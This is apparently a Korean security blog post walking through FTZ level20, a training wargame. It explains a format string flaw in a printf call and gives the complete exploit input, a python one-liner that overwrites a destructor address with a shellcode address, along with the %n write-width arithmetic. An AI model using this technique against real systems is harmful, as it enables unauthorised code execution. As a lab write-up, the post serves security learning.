정보보안/FTZ

[FTZ]level20

b1ackhand 2022. 8. 13. 13:09

힌트를 보면 printf에 포맷을 쓰지 않고 사용을 하였다.

이를 이용하여 포맷스트링 공격이 가능 할 것이다.

포맷 스트링 공격이란 위와 같이 %x~%n등을 이용하여 printf가 프로그래머가 사용한 서식자인지 인식하고 내용을 읽어 내는 취약점이다.

먼저 printf함수의 소멸자의 위치를 알아낸다

이 위치가 쉘코드가 들어갈 곳이다.

전과  마찬가지로 환경변수를 설정해 놓는다.

0xbffffc32
0xbfff (49151) -> 0x0804959a
0xfc32 (64562)  64522 -> 0x08049598

다음 주소를 반으로나누어 목표하는 0x08049598에 둘로 나눠서 입력하게 될것이다.

 

포맷스트링 공격 형식은 다음과 같을 것이다

(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%64522c%n"+"%50125c%n"'; cat) | ./attackme

위는 최종결과지만 코드의 과정을 살펴보자면

앞의 코드들의 길이가 40이기 때문에

먼저  fc32에서 40을 빼서 자릿수를 계산해 줄것이다.

0xfc32 - 40 = 64522

 

다음 입력 부분은 0xfc32까지 계산을 해주면

0xbfff - 0xfc32를 해줘야 되는데 이는 음수가 나오기때문에

0x1bfff- 0xfc32를 해주면  50125가 나온다.

'정보보안 > FTZ' 카테고리의 다른 글

[FTZ]level19  (0) 2022.07.31
[FTZ]level18  (0) 2022.07.31
[FTZ]level17  (0) 2022.07.25
[FTZ]level16  (0) 2022.07.25
[FTZ]level15  (0) 2022.07.25